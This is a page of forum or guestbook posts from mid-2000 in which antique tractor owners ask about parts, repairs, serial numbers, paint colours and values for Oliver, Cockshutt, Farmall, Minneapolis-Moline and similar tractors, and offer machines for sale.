H. RICHARD BUCHANAN wrote on Saturday, August 26, 2000 (PDT):I'm in need of short block for ac 160 tractor 3 cyl perkins engine. Might consider used or rebuilt engine. would like to find something close to western north carolina because of freight cost..
Teri wrote on Saturday, August 26, 2000 (PDT):Would like to purchase a D-10, 12, or 14. Please let me know if you know of one.
Mike Gravens wrote on Saturday, August 26, 2000 (PDT):Have a JD MT in excellent condition, having proplem with hydrolic at independent control box, does anyone know the # of MT's produced in any given year of production? Also need service manual,JD dealers price is over $100 any one know of other alternative purchase location? Thanks
Lynn N. Torske wrote on Friday, August 25, 2000 (PDT):I own a 1952 JD MT which I bought as a young man to mow weeds with. We powered grain augers with it for years until the augers outgrew the tractor. It is now retired except for occasional short jobs and resides inside a bulding. I am looking for a battery box door and a throttle handle for it. Thanks in advance for any help in locating these items.
karen wrote on Friday, August 25, 2000 (PDT):help, my father has located a 1952 dc with a wide front end can anybody help me with how may were made and where can i get any information.
Lee Peacock wrote on Thursday, August 24, 2000 (PDT):I have a TD40 and I need to know how to adjust the brake and clutch. if any one out ther know the secret let me in on it please. thank you
Lee Peacock wrote on Thursday, August 24, 2000 (PDT):I have two T20 one is parts one TD35 as a parts tractor and a TD40. I don't know the years .the serial no should get the year if I can fiend the place to go to
Jim Lankford wrote on Thursday, August 24, 2000 (PDT):I have 2 1948 MD Farmalls that run like they were new. They have been in the family for 52 years! I am in the process of repainting them. I do need to do some work on one of the fuel pumps. The engine is not getting quite enough fuel. Does anyone know how to adjust the pump? If only they could build cars and trucks to last like these workhorses.
Tom Shappell wrote on Thursday, August 24, 2000 (PDT):Hello to all of you! I am brand new to this antique tractor hobby, as I have just inherited my father's 'Ferguson TO series'. Ser # 45510, my dad has used this tractor for 32 years strictly for side-bar mowing, and it is all original. Oil pressure drops to red zone after a bit, and I need to know if this requires a total overhaul. I am located in Berks Co., PA, and would be happy to hear from someone as to where I may take my Fergy for service. Also, I need an operators manual! Any and all help would be greatly appreciated! Thankyou.
Jim Accomando wrote on Thursday, August 24, 2000 (PDT):Hi. Guys, Today I joined the rest of you guys and bought my brand new (used) OLIVER 770. S.N. 93960-736. But I have a problem. I need a 3-14 flat bottom plow, an eight foot disc. and an eight ft. drag. If any of you good buddies have one or all three I would like to buy them. My three point hitch is the link latch type.
Mason Brooks wrote on Thursday, August 24, 2000 (PDT):I have one that looks like the photo except my exhaust goes down from the manifold and goes to the rear of the tractor. I don't know what year it is. I would really like to know more about this tractor.
Gary E. Welch wrote on Thursday, August 24, 2000 (PDT):I have A super 55 with loader its a good one an I have fun with it . I beleave its a 1957 ?
Robert wrote on Wednesday, August 23, 2000 (PDT):Hope this helps out for all of the posts asking about the location of the serial number for the WC. It is on the rear of the rear end housing. It should be "WC" followed by the serial number. It is genarally not too difficult to find the location of the serial numbers. There is a smooth place on the rear end housing where the numbers were stamped. I take a wire brush with me when I am looking at one to buy so I can brush the rust off of the number to make it easier to read. Then wetting it down with a litle bit of water to wash off the dust created by the wire brush makes the numbers easier to read.
John Cotton wrote on Wednesday, August 23, 2000 (PDT):This looks like a nice old machine. I have a TD 40 wide tread model no serial number plate unfortunatly but there is a date stamped on the crankcase behind the diesel pump (11 15 34) would this be when the engine was made. We have the engine running on Gasoline almost ready to try her on diesel. A lot of restoration to do mainly on under carage. Is there any other sites with Mc Cormick TracTractors I can't find any.
Jarrod Chatfield wrote on Monday, August 21, 2000 (PDT):Please send me somthing on the Massey Furguson 20 Petrols Thankyou
Justin Macedonia wrote on Sunday, August 20, 2000 (PDT):Does anyone know about how much horsepower the G1000 Wheatland had ?
BUSTER STINE wrote on Sunday, August 20, 2000 (PDT):I CURRENTLY OWN 23 MM TRACTORS. THEY NEVER LET ME DOWN. I WONT ALLOW ANOTHER BRAND TRACTOR ON MY FARM. I STILL FARM EXCLUSIVELY WITH MM TRACTORS. STUPID ME, SOLD MY M5 A FEW YEARS BACK BECOUSE I WAS MADE AN OFFER I COULDNT REFUSE. I LATER REALIZED THAT YOU CANT REPLACE A FAITHFUL FRIEND.
Jeff Ramage wrote on Sunday, August 20, 2000 (PDT):I have a 1963 550. The clutch pack just blew out and needs replacing. Any contacts you have would be appreciated. I am looking for an Oliver Front End loader. The front end loader that came to with the tractor is a homebuilt job. Any pictures of an Oliver loader would be greatly appreciated. Jeff
Eunan Doherty wrote on Sunday, August 20, 2000 (PDT):I have recently bought a Fordson Dexta (not Super). Does anyone have a Owners manual, or let me know where I can get one ?
diff wrote on Saturday, August 19, 2000 (PDT):I think they could be ordered either way
Rick Murray wrote on Saturday, August 19, 2000 (PDT):Does the 60 rc have a six cylinder.Just bought a cockshutt,not sure what it is.Any help would be great. thanks Rick
Richard Murray wrote on Saturday, August 19, 2000 (PDT):I just bought a cockshut tractor that looks like the one in the above picture.Mine has a six cylinder.It has no pant but appeared to be green.What year and model might this be.If you can help e-mail me.Thanks for your help...Rick
Paul Dufault wrote on Saturday, August 19, 2000 (PDT):I have a 1050..M.M.White...about 1967...I'am looking for a service repair manual.....I am experiency problems with the PTO...it will not turn under load..any suggestions..?
Bruce Muirhead wrote on Friday, August 18, 2000 (PDT):Someone was trying to sell me an Oliver 1450 but I can't find anything on it anyplace on the net. Does anyone out there have something on it ? Thanks I know it is 60hp, or so he tells me.
J.D. Flora wrote on Friday, August 18, 2000 (PDT):How is parts availability for 70's deisel model 1000's? Who would you take it to for repair?
ray wrote on Friday, August 18, 2000 (PDT):I have an early version of the WD 45 that used the WD engine but has the increased horse power and most of the WD 45 additions except for power steering or so the dealership told me. I have had it for about 15 years and it is getting tired and I need to get my mag rebuilt. I enjoy using this tractor but wish I had a wide front end for this tractor. I may try to change the front end if I can locate a wide front end that is inexpensive and the procedure is fairly simple, any suggestions are welcome.
KenB wrote on Thursday, August 17, 2000 (PDT):Graham,I have not used a taper lock myself,but have heard only positive remarks about them.There's a fellow named todd that advertises them on his website.But I can't seem to find it now.I wrote his Phone number down though just in case I ever needed it.His number is 615-790-3742 he is in tennessee.I would think the shipping bill would cost as much as the taper lock kit or flywheel though.Hope this helps you.
John Sulkowski wrote on Thursday, August 17, 2000 (PDT):I have several parts for a D21. This includes 2 sets of fenders, hoods, brake parts, pto and 3pt, and many more. I also have a D21 series II in parts with everything to put it back together. If you would like a specific item or would like to hear more about the tractor please reply.
Ryan Wilhelm wrote on Wednesday, August 16, 2000 (PDT):Hey everyone with the problem on what color the wheels on the super 55 are. I have found out from1954 to 1955the wheels are to be the same green as the tractor and from 56 to 58 they are red the only way you can get the red paint is to go to a paint mixing place and take a oliver toy tractor with you and they can macth it. But a hint is that massey ferg red is the closest paint to the original oliver red.
Melissa wrote on Wednesday, August 16, 2000 (PDT):We have a I-4 tractor and 3 I-6 tractors. The I series of tractors are for industrial use. Does anyone out there have access to grill emblems for the I series tractors that say INTERNATIONAL? If you have any information please e-mail me or call me at 931-525-6043.
Ronald Roth wrote on Tuesday, August 15, 2000 (PDT):The first farm tractor that I learned on was a 1940 Model"A" with a wide front end, pet-cock compression release on each piston and flywheel start. It had a faster reverse than 3rd gear-high range and I used to dead-head from field to field in reverse. Lots of power and also used it to run a hammer-mill for grinding cattle feed. The tractor was built to last and would probably still be running today if taken care of. I would like to know if anyone could guess a price for one of these if it would be in decent shape.
CHARLIE hAIER wrote on Monday, August 14, 2000 (PDT): I have a M-5 that I pull with in New York that has 250 H.P. on the dyno. It is a 1960 propane with a narrow front end that we have done some internal work to. We really like Moline tractors because of universal engine parts that can be intrechanged to develop big h.p. I am going to add a turbo over the winter and hope to have approx. 300 - 350 h.p.
john wrigley wrote on Monday, August 14, 2000 (PDT):I require a fuel pump for a dexter,second hand will do.thanks
John Reimer wrote on Sunday, August 13, 2000 (PDT):I own a 55 that I use for tractor pulls. Wheat City Diesel in Brandon MB rebuilt the injection pump and I must say they did an excellent job. My present pull placement is usually first or second. Anyone that has info. on more horsepower potential other than a propane sniffer kit I would love to hear from you.
Ron Kohls wrote on Sunday, August 13, 2000 (PDT):I am trying to locate a Cockshott thirty that was purchased at the John Trybula Auction at Thorp Wisconsin about October of 1993.
Billy wrote on Sunday, August 13, 2000 (PDT): I have a 550 Oliver, which has recently started with a slipping clutch, is there an adjustment other than free play with the clutch paddle, thank you for your time Billy
Ken Warnock wrote on Sunday, August 13, 2000 (PDT):I've got a IH 300U and am considering adding a front loader to it. Does anyone have any knowledge of a source for a suitable loader that will fit this tractor? Also what is the horsepower rating of the 169 cu. in. IH engine? Thanks,
Dusty M. Erickson wrote on Saturday, August 12, 2000 (PDT):Also any leads on a belt pulley for a Cockshutt (Oliver) 60 RC would be appreciated. 480-948-1644
Dusty M. Erickson wrote on Saturday, August 12, 2000 (PDT):Just wanted to say thanks to those of you whom responded to my request for identifying the noise in the rear end of my recently rebuilt 60 RC. The problem was solved, it was a bent internal pto shaft rubbing against the gears. Fixed up fairly simple. Restoration now 100% complete. Time to start the next project...a Cockshutt (Oliver) 60 RC with wide front. Found it resting in Vancouver, B.C. Should make a nice companion for the previous Oliver 60 RC. Thanks again
biff wrote on Friday, August 11, 2000 (PDT):I own a O-14 and the rear fenders go down just behind the front wheels. I don't think this is an original O-14.
Eric Schwartz wrote on Friday, August 11, 2000 (PDT):I bout a Farmall Regular in real ruph condishion plugs was out of the motor for years.It took 3days for me and my buddys to unseez the motor.Im still looking for someone tocut the valve seals.This tractor has ben hard and exspensive to find parts for Im still looking for rims and tires 12/36.I also do antique tractor pulling with an ALLICE-CHOMERS B and my buddy Chester Lee pulls a John Deer 630 and a Olover Super 88.I cant wait to see wat this Farmall Regular can do on a stone bote pull.
vernon e. knight wrote on Thursday, August 10, 2000 (PDT):pacer, wanted ,dead or alive , any location considered .
MIKE CUMMINGS wrote on Thursday, August 10, 2000 (PDT):My father and I bought one 2 springs ago for use on our farm. It looks alot like the one in the photo above except it has 18.4x38's on speed wheels with axle duels (18.4x38 on speed wheels also). It also does not have the air intake above the hood. We might be willing to sell it if anyone is interested.
Graham matthews wrote on Thursday, August 10, 2000 (PDT):I have a JD730 diesel built in 1961 as an export to Australia ,the tractor has done approx 4000 hrs . The flywheel has come loose and damaged the internal spline ,I have been told taper locks can be fitted can any one help
carol B wrote on Wednesday, August 09, 2000 (PDT):Am looking for 1930 TORO Jr. tractor info,and value, made by Toro Tractor Co. in Minneapolis, MN; have Model B-30, ser.# 348, Model A Ford engine w/ 3 speed trans, driving a second 4 speed Ford Trans. Any leads to info appreciated.
Brittany Johnson wrote on Wednesday, August 09, 2000 (PDT):I am restoring an Oliver 70 RC and I am at the point of installing the handcrank and I would like to know what would work well for the pin that goes through the crank handle and locks in on the front pulley.
William Corpus wrote on Monday, August 07, 2000 (PDT): I have a early model D21,and I need a fuel injection pump model dcd. If any info. please reply
Pete wrote on Monday, August 07, 2000 (PDT):i resintly pershesed an "H" however the engine is locked up what is the best way to free it up
Randy Merry wrote on Monday, August 07, 2000 (PDT):Westley Taylor, What is your E-mail address and where is the half track located?
jim campbell wrote on Sunday, August 06, 2000 (PDT): my brother in law has a tractor like this one in Selkirk, Manitoba,Canada.He says that he uses this tractor weekly and that it is a good workhorse.
Jim Kalinowski wrote on Sunday, August 06, 2000 (PDT):We are in the process of putting together a super major with a six cylinder we are looking for a narrow front for the tractor. a hood would be helpful too but it is not as essential any information would be appreciated
Dan Smith wrote on Sunday, August 06, 2000 (PDT):I have a 1954 Super H and I'm in the process of restoring it. I would like to purchase the lift-all kit that use to be sold as an add on, to run a trail implement with a hydraulic cylinder, do they still sell them and where?
Bill Roll wrote on Friday, August 04, 2000 (PDT):My family had a farm in So.Calif. and used a TD35, TD9 and a TD14 to farm 1800 Ac. Mostly dry farm, barley, beans, then rowcrops, tomatoes, celery etc. I can remember driving all of the tractors, the TD35 was the slowest of them all, but it could pull. Wish we still had them. Bill.
Lars G. Garrenstad wrote on Wednesday, August 02, 2000 (PDT):Owning an Oliver 80, 1946, in Sweden, and growing up with Olivers, I'm intersted of purchasing an Oliver Super 44 or 440. Also Oliver 70's and 80's are of interest.
Aaron wrote on Wednesday, August 02, 2000 (PDT):This 1066 is a beauty! I am currently looking for a 1466 with no-cab or 2-post ROPS. Living in Southwestern Virginia is nice, but it's TOO GREEN! Too many Deere in my garden! Can anyone help my find a 1466 to run them off?
OTTO SYSTEMS wrote on Tuesday, August 01, 2000 (PDT):HEY CHIEF!!! NICE TRACTOR. I WOULD REPLACE THE THRUST WASHER AND THE GEAR, CHANCES ARE IF IT'S GOING INTO 3RD GEAR OK THE YOUR SHIFTING FOR IS FINE. P.S. SHOULDN'T YOU BE WORKING? IF CHICKEN KNEW YOU WERE SURFING THE NET
Steven Swietlik wrote on Tuesday, August 01, 2000 (PDT):Are the rock shafts bigger on an "A" than on a "B"?
STEVEN SWIETLIK wrote on Tuesday, August 01, 2000 (PDT):Question,to anyone that knows.are the rock shafts bigger on an "A" than they are on a "B"?
Jeff Sawyer wrote on Tuesday, August 01, 2000 (PDT):Trying to see how availiable parts are for a super 55 diesel? Any information please feel free to contact me. Thanks Jeff
Dave Walters wrote on Monday, July 31, 2000 (PDT):Would like any imfo. on a.c. 220 with front wheel assist. Would like to buy one running or not.
Justin Wright wrote on Monday, July 31, 2000 (PDT):My Dad and I have two Farmall Ms. One with a frontend loader and the other which is in the rebuilding process. I think that the Farmall M is one of the best tractors ever built.
don wrote on Monday, July 31, 2000 (PDT):My grandpa used to have a model 70 sitting in our shed, hasnt been used for probly 20-30 years, and then in 94 or 95 he sold it for a couple hundred dollars. i would really like to locate it once again, and it was sold in northeast wisconsin. when he sold it it was completely rusted over, and had both spider and rubber wheels for the back and was a row crop model i think. if anyone out there has any clues, i would really apreciate it. I know it will be very hard to locate, but thanks to anyone who could help
Bernie Merli wrote on Monday, July 31, 2000 (PDT):I have (2) Super A's and (2) A's and am looking for a block or a good running engine for a Super A. Any information would be appreciated
Alex Romanow wrote on Sunday, July 30, 2000 (PDT):I am looking for an Oliver 60 in excellent or restored to original condition. Alex Romanow Calgary, Alberta Canada Tel; 403-519-6990 aromanow at telusplanet.net
k.c hahn wrote on Saturday, July 29, 2000 (PDT):cylinder sleeves to fit a-c model a tractor k l crawler e60-e563 power unites 51/4 bore anybody need any made?
Dusty M. Erickson wrote on Saturday, July 29, 2000 (PDT):I know this tractor is not a Cockshutt 30, but maybe you Cockshutt collectors in western Canada could assist me. I recently purchased a Cockshutt 60 RC (Oliver) and need help in transporting it to Arizona within the next year from Vancouver area. If any winter visitors are heading south, could you offer suggestions ? dusty erickson 480-948-1644 or dusty at gameguns.com
Larry Blaney wrote on Saturday, July 29, 2000 (PDT):What are the two holes on the right hand side of the hood on a farmall cub for? I belong to the S.E.Wisconsin Antique Power & Collectibles Society and this question was asked by a vistor to the tent we have at the currently running Racine,Wisconsin county fair. We have over 60 tractors in the tent and this was a question that a current owner of a cub asked but not a member of our club could answer him. I would appreciate any help. tn
Tom Willy wrote on Friday, July 28, 2000 (PDT):For sale John Deere 420T single front wheel vary rare tractor needs restored located in LOGANSPORT IN Ph. 219-753-3836
rinus wrote on Friday, July 28, 2000 (PDT):ik ben opzoek naar een ford dexta, of een andere kleine ligte tractor voor wat ligt werk in de snijbloemen.
scott sadoski wrote on Friday, July 28, 2000 (PDT):I have a 1950 it has a front loader on it and remote HDY on back I live in eatonville wa 360 832 2102 $5500.
TERRY PEACOCK wrote on Friday, July 28, 2000 (PDT):I own 3 HART PARR'S 1. 18-36 2. 12-24 3. 10-20 I have totally restored the 18-36 and it has now won several ribbons and awards,and many people now enjoy just admiring and seeing "HER"run. Every nut and bolt were removed ,and 18 months were spent on the restoration process. The 10-20 restoration is under way,but the 12-24 is still waiting in the shed. Need carby top and steering box for 12-24 but have the frame,wheels and remains of another 12-24 for trading. "HART PARR'S ARE FOREVER" Happy Restoring. a AAA
steve wagner wrote on Thursday, July 27, 2000 (PDT):I have a allis chalmers D-15, series II. I am having trouble with it popping out of third gear. Does this sound like a thrust washer, shifter fork, or a worn out 3RD gear?...
Jeff wrote on Thursday, July 27, 2000 (PDT):Where is the serial # on the 60 JD located?
Kathy Anderson wrote on Thursday, July 27, 2000 (PDT):I recantly met a lady who had one of these H's. My husband had used one when he was a boy. he was young enough that he had to use his foot to move the gear/clutch lever. If this lady's husband wants to sell it, I will pass on the info. to others as I doubt we can afford it right now. My email is kmanders at dmi.net the tractor is located in North Idaho.
Kathy Anderson wrote on Thursday, July 27, 2000 (PDT):We purchased a Cockshutt tractor last fall. It seems to be newer than those shown in the photo graphs. it has a squarer shape and headlights. i will have to take a look at the serial # and check back with this site. It runs great!
Dick Kline wrote on Wednesday, July 26, 2000 (PDT):It has been a long time since I ran an M but I thing the control Jim Prior is talking about is the brake lock. Hold the brakes in and pull up. The brakes should stay down. The were great tractors. All the new tractors the salesmen brought to the farm had to start a head of me in the dead furrow. Never had a tractor in their class that I didn't have to wait for.
WAYNE KIRKPATRICK WASHINGTONVILLE N.Y. wrote on Wednesday, July 26, 2000 (PDT):I HAVE RECENTLY DRUG A 1941 W-4 OUT OF AN OLD TURKEY FARM. IT IS IN DIRE NEED OF THE MAINT. IT NEVER HAD. I WILL BE RESTORING IT IN THE NEXT COUPLE OF MONTHS I HAVE HYD. SYSTEM FOR SALE FOR THIS UNIT IF ANY ONE IS INTERESTED. CALL (854)781-7973
Tracy Edwards wrote on Tuesday, July 25, 2000 (PDT):My husband just purchased a Cockshutt "30". The only serial number I can find is 30-48-16938. I can't seem to match it up to a year but it looks pretty much like the one in the picture above but it also has a frontend loader. The only trouble my husband is having with it is the battery doesn't seem to be charging. My husband is very mechanically inclined but he can't figure out why it doesn't charge. Anyone with any info on how to service this machine would be greatly appreciated.
Allen R. Strefling wrote on Tuesday, July 25, 2000 (PDT):The 50 was a very smooth running machine. My Uncle had one a pulled a 3-16 plow. It was no match for the tractor. It could clearly have handled another bottom. I was just truly impressed with the smooth power it produced and am very glad that I had the chance to see it in operation.
Allen R. Strefling wrote on Tuesday, July 25, 2000 (PDT):The 50 was a very smooth running machine. My Uncle had one a pulled a 3-16 plow. It was no match for the tractor. It could clearly have handled another bottom. I was just truly impressed with the smooth power it produced and am very glad that I had the chance to see it in operation.
Greg hammond wrote on Tuesday, July 25, 2000 (PDT):Dose it come with a pony start motor? Becuse when you look at it, it as two pipes Please email me at www.blhgsh at hotmail.com
Leonard wrote on Monday, July 24, 2000 (PDT):Have Oliver 550 gas. Need oil seals for front wheels with the adjustable front axel. Seal removed manufactured by Ohio Rubber Co. part # 2264739. Also need plate where seal rides against spindle. Need two each asap
Fred Martin Greenfield, OH wrote on Monday, July 24, 2000 (PDT):I have a 1950 TO-20 that has the zero ground off where Z120 is cast in the side of the block. Down and to the right is stamped Z129. Anyone know of any rebuilders doing this?
James J. Long wrote on Sunday, July 23, 2000 (PDT):I am in the process of restoring a 1938 F-14. Runs great! Just been painted, has hydraulic lift under seat,only thing left to do is recover steering wheel. I love my F14! JAS.
scott hoersten wrote on Sunday, July 23, 2000 (PDT):I have a 1937 Farmall F-20, in search of a flywheel. Where can I locate one?
H.F. Linder wrote on Sunday, July 23, 2000 (PDT):WANTED; I NEED TO FIND A PTO DROP BOX FOR A G VI OR A 704 TO RUN THE FONT WHEEL ASSIST. I THINK THEY ARE BOTH THE SAME. ALSO THE FRONT WHEEL ASSIST. DOES ANYONE KNOW OF THESE TWO ITEMS I AM SEARCHING FOR? I WOULD APPRECIATE ANY INFORMATION YOU MIGHT HAVE. THANK YOU VERY MUCH.
Jerry Nusz wrote on Saturday, July 22, 2000 (PDT): Great tractor.
Dave Boucke wrote on Saturday, July 22, 2000 (PDT):I have a 1950's cub that needs a new/rebuilt IH (not zenith)carb. Anyone know where I can locate one? I am also interested in a belly mount mower or a "brush-hog" attachment. We are in the Sacramento, CA area. Thanks!!
Janet Marie Sutton wrote on Friday, July 21, 2000 (PDT):I have two Rock Island rear tractor wheels. Will send a picture if given an email address. Were used on a farm in the Northern Neck of Virginia about 1920+. Please advise. Thx, Janet
Aaron wrote on Thursday, July 20, 2000 (PDT):My Grandfather's hired man uses a Super Dexta diesel to mow with. It has been a very reliable tractor, and has run well. Currently the starter or something is bad, and it must be pulled with a pickup to start, though. Also, we use Farmall 300 and 350 tractors to mow. The 300 is a narrow-front and the 350, a wide-front.
D.J. HAINES wrote on Thursday, July 20, 2000 (PDT):I ENJOY RED TRACTORS VERY MUCH. I HAVE DRIVEN THEM SINCE I WAS THE AGE OF 8.MY FATHER, GRANDFATHER, & GREAT-UNCLE ALL FARMED WITH I.H. POWER SO I GUESS MY HABIT IS WHAT YOU MIGHT CALL, HEREITARY. I FARM WITH 3 I.H. TRACTORS MYSELF. THEY ARE AN EARLY 1954 SH, A 1974 OPEN STATION 966, & A 1974 RED CAB 1066. THE SH WAS BOUGHT NEW BY MY WIFE'S GREAT-UNCLE. THE 966 I AM THE SECOND OWNER OF & IT HAS 920 ACTUAL HRS.. I AM THE THIRD OWNER OF MY 1066 AND IT HAS 2900 ACTUAL HRS. . ALL THREE TRACTORS STILL WEAR THEIR ORIGINAL PAINT AND ARE IN EXCELLENT NON-ALTERED CONDITION. I FEEL VERY FORTUNATE TO OWN & OPERATE THREE EXAMPLES OF THE FINEST FARMALL EQUIPMENT STILL IN EXISTANCE.
Erik wrote on Wednesday, July 19, 2000 (PDT):I have a 1945 sc and i need the following parts;a set of piston rings, a full set of valves, a starter, a generator. also i need to have the magneto overhauled, i am located in NE Oklahoma. Any help would be appreciated.
Robert wrote on Wednesday, July 19, 2000 (PDT):I looked up the tractors in question in a couple of books I have. I knew the one on the left was a U-DLX. The book I have says there was barely 125 of this model sold. It doesn't mention the year(s) the tractors were produced. I have two books with two diffrent tractors of that model. One is a 1939, and the other is 1938. The tractor to the right is a R-T. The model R was introduced in 1939 and it appears that in 1940- about 1950 was the time frame in which these models were made. Some of these were made with special baskets on them to accomidate the postal service delivery. The book doesn't mention how many of thses were made in either variation. Hope this helps with some of the information you asked about.
Wayne Baker wrote on Wednesday, July 19, 2000 (PDT):I'm looking for a D-21 or G Allis Chalmers Tractor. I would one with the manuals with it. It has to run.
JACKO wrote on Tuesday, July 18, 2000 (PDT):I HAVE A W4 IN MY COLLECTION IN ENGLAND,BOUGHT IN 1943 DURING THE WAR YEARS ON THE LEND LEASE SCHEME.IT HAS BEEN IN THE SAME FAMILY SINCE NEW,ONE OF MY FAVURITES RUNS LIKE CLOCKWORK,LOOKING AT RESTORING A W6 NOW.
Ryan Wilhelm wrote on Tuesday, July 18, 2000 (PDT):I have read all of these and still don't know what color my wheels are supposed to be on my super 55 it is a 1955. I have seen all the ads and still don't know what color to paint them red or green? There is green paint under the hub of the back wheels but on the rims it is red please help got a show in 4 weeks
Martin Niederkorn wrote on Tuesday, July 18, 2000 (PDT):I have the same question as Jim Finnegan. How do you distinquish between a Super 55 and a 550? The serial number I have is 76 386-519 which doesn't seem to match any listing I have found. Your help is appreciated.
Charlie wrote on Tuesday, July 18, 2000 (PDT):I own a Cockshutt 30 with the wide frontend. It used to have a frontend loader on it. Do you know ho many of these were made.
david gray wrote on Tuesday, July 18, 2000 (PDT):nice g-1000 my friends uncle has one just like it
bob McMulkin wrote on Tuesday, July 18, 2000 (PDT):STARTER PROBLEMS..6 Cyl...Contact me...I just purchased a new starter for the 6 cyl industral engine at a local parts house....It works fine...The Ford Industrail engines are used in some of the local companys making red brick so parts are availible here in North Carolina...
Bob wrote on Monday, July 17, 2000 (PDT):I have 3 restored Cubs & 2 restored Super'A's here in Auckland New Zealand with many parts and attachments. Have to sell. Should be able to compete with your local prices as NZdollar presently 46cUS Any interest welcome.
Terence Check wrote on Monday, July 17, 2000 (PDT):Recently purchased a 1947.(Similar to picture on this page)Need any info or specs on tractor. Antique Tractor Magazine, issue July/August 1999, did a feature story on the history of the tractor company and the family who made them.
Kevin LaMarre wrote on Monday, July 17, 2000 (PDT):Great Picture of the W-4! I recently traded a cub for a 1950 W-6. Quite a neat tractor. I would like to change it back from 12 volt to the orig. 6 volt. Are wiring harnesses available for this model? Also, anyone know where I can get an owners manual and parts manual for this model? Thanks!
chet olsen wrote on Monday, July 17, 2000 (PDT): I just bought a motel 88 oliver and was wondering if any one has a power steering pump for this tractor?
Robert wrote on Monday, July 17, 2000 (PDT):The tractor on the left is a MM UDLX. A very rare tractor.
Dot Woodwind wrote on Monday, July 17, 2000 (PDT):How does one use Coca-Cola to remedy a siezed engine?
Phil Blahut wrote on Sunday, July 16, 2000 (PDT):I am search for a D-21 or AC 220. I have located several and would like some advice on what they are worth fixed up, rough, etc, before I make an offer. Does anyone have a good locator for parts such as hydraulic pumps, fenders, and the rear end. Thanks in advance....Phil
Amy W. wrote on Sunday, July 16, 2000 (PDT):just purchased a Minneapolis. Am confused though the tractor has 2 serial #'s. One seems to fall into the model UTS 1951 the other in the Model U- UT 1951-59 (unknown). Does any one know the reasoning behind 2 serail #'s? It is a gas tractor. Also looking for tire 14-30 & manifold.
Eric Severance wrote on Saturday, July 15, 2000 (PDT):I have recently restored a 41 General , and have several spare parts from the three parts tractors I bought . Zimmerman Oliver-Cletrac in Ephrata , PA. is a good source for anything that is the same as the HG crawler . Send me an e-mail if I can help out .
Eric Severance wrote on Saturday, July 15, 2000 (PDT):My Father and I are looking at an Oliver 77 diesel wide front , with a rod though the block , for a restoration project . The price is right , but I would like to locate a good used block , and or parts motor , before we take the plunge . I have located a couple of gas engines , and my question is ; Do the 77 gas , and diesels use the same engine block ? Some say no , and others say yes . My suspicion is yes . Any help would be much appreciated , Thanks .
Eric wrote on Saturday, July 15, 2000 (PDT):I learned how to drive tractor on a 1951 OC-3-68 , when I was 11 years old , gathering sap for my grandfather's maple syrup production . The tractor was ideal for manuevering in deep snow , and then mud as the sugaring season progressed .I recently purchased a 1954 OC-3-42 , with Wain-Roy hydraulic blade , in very good original condition . My ten year old son is now learning to drive on this , doing what ever odd jobs he can find around our place .
Scott Thomas wrote on Saturday, July 15, 2000 (PDT):I have a 67 cub lo-boy with a 5' belly mower under it. I have heard that you can get a sickle bar mower to fit these lo-boys. Anyone know anything about these? My local John Deere dealer keeps trying to get me to trade this tractor in on a new one! Not today tim! Thanks for your help!
Ollie Maier wrote on Friday, July 14, 2000 (PDT):Have a '52 gas WD-45 I purchased used few years back. Love it... only thing I wish it had power steering (hard to turn for old man with loader on front) and a three point hitch. Only problem now is LOOKING FOR ANOTHER CARB FOR IT. Suddenly started running very rough and then quit... would not start. Local mechanic says has good spark. Although the carb looks good, believes that must be the problem. (Compression good.) Does anyone know where I can get a good rebuilt carb or a new one (if not too much... since I only use it as a hobby tractor). Ollie in San Marcos, Tx
Jerry from Missouri wrote on Wednesday, July 12, 2000 (PDT):We are looking for Detroit powered MF. We are currently pulling an Oliver Super 99. Is a MF 98 kin to the Super 99 or is there yet another MF with a GM engine. We would really like to have a sister pulling mate for our 99. Any leads or information concerning Masseys with GM powerplants would be appreciated. Thanks JK.
LARRY BALL wrote on Tuesday, July 11, 2000 (PDT):Looking for Farmall Cub in or around Texas. With or without attachments, would pre-fer a fixer-upper! If pictures available willing to travel neighboring states! Also, I have located two Cubs that were in a warehouse fire, with most plastic parts, tires and radiator burned beyond use. How available are parts for these tractors and does anyone think there could be internal damage caused by a fire? Any feedback would be helpful. Thanks !!!!!!!!k
BRIAN BOWSER wrote on Monday, July 10, 2000 (PDT):AM RESTORING A FORDSON MAJOR DIESEL. NEED ALL THE HELP I CAN GET.FIRST WHERE IS THE SERIAL #, SO I CAN DETERMINE THE DATE OF MANUFACTURE? NEXT,DOES ANYONE HAVE A SECOND HAND SERVICE MANUAL? ALSO NEED 3 POINT HITCH ADJUSTING LINKS WHICH CONNECT LOWER ARMS TO UPPER LIFT ARMS. NEED RIGHT FOOT FLOOR BOARD & BRAKE DRUM COVER. HAVE PARTS TO TRADE IF INTERESTED,SUCH AS WHEELS,TIRES,HOOD,FRONT AXLE,HUBS & BATTERY BOX. I AM LOCATED IN EASTERN CANADA. ALL REPLIES WELCOME, EVEN IF JUST TO COMPARE NOTES. BRIAN BOWSER.
Bill Puller wrote on Monday, July 10, 2000 (PDT):Bought a Super 55 oliver 2 months ago (gas), would like manuel for it,also info on parts
IAN E MCROBERTS wrote on Sunday, July 09, 2000 (PDT):I HAVE A 1955 JD60 ROW CROP IT HAS A 3POINT ,LIVE PTO ,HYDRALIC HOOK UPS. I GOT IN OCT.99 I WOULD LIKE TO KNOW MORE ABOUT THIS GREAT TRACTOR. THANKS
Bob Stites wrote on Sunday, July 09, 2000 (PDT):The photo looks great. I have a question about the colors. I got a can of Oliver green (they called it "meadow green" I understand) but can't find liver white (they called it "clover white"). Is it just plain white, or does it have a greenish tinge?
Tom Bridges wrote on Sunday, July 09, 2000 (PDT):I came across a Oliver 500, with front loader and back blade. Could you tell me the price of this in good condition. I was told this is a english made tractor , poss. from canada? Thanks
Jim Thomas wrote on Saturday, July 08, 2000 (PDT):Have an Oliver 99 Hart-Parr gas , with crank & modified electric start - looking for parts to restore it - anyone have a lead?
KEN REEVERTS wrote on Saturday, July 08, 2000 (PDT):I do several farming jobs with my M5. Have lots of trouble keeping it running.Any suggestions? I do like the tractor.
grampa chad wrote on Saturday, July 08, 2000 (PDT):Also, what are the original color(s) of the 1952 Leader? Any other characteristics to signify an authentic?
Grampa Chad wrote on Saturday, July 08, 2000 (PDT):I was wondering if anyone knows how much a good original condition 1952 Leader Tractor is worth? I've found one and want to know what it's worth and if theres many around.
Pat C wrote on Saturday, July 08, 2000 (PDT):I'm looking for a Oliver OC-3 crawler to restore or in good shape.
H.F. Linder wrote on Saturday, July 08, 2000 (PDT):I need some information on this tractor.I have a 1938 KTA Waterloo. Can you tell me if it was made in Canada or assembled in Canada & where? Were they made just for Canada only? Do you know how many were made? I would appreciated any Information you might have for me. Thank you so much. H.F. Linder
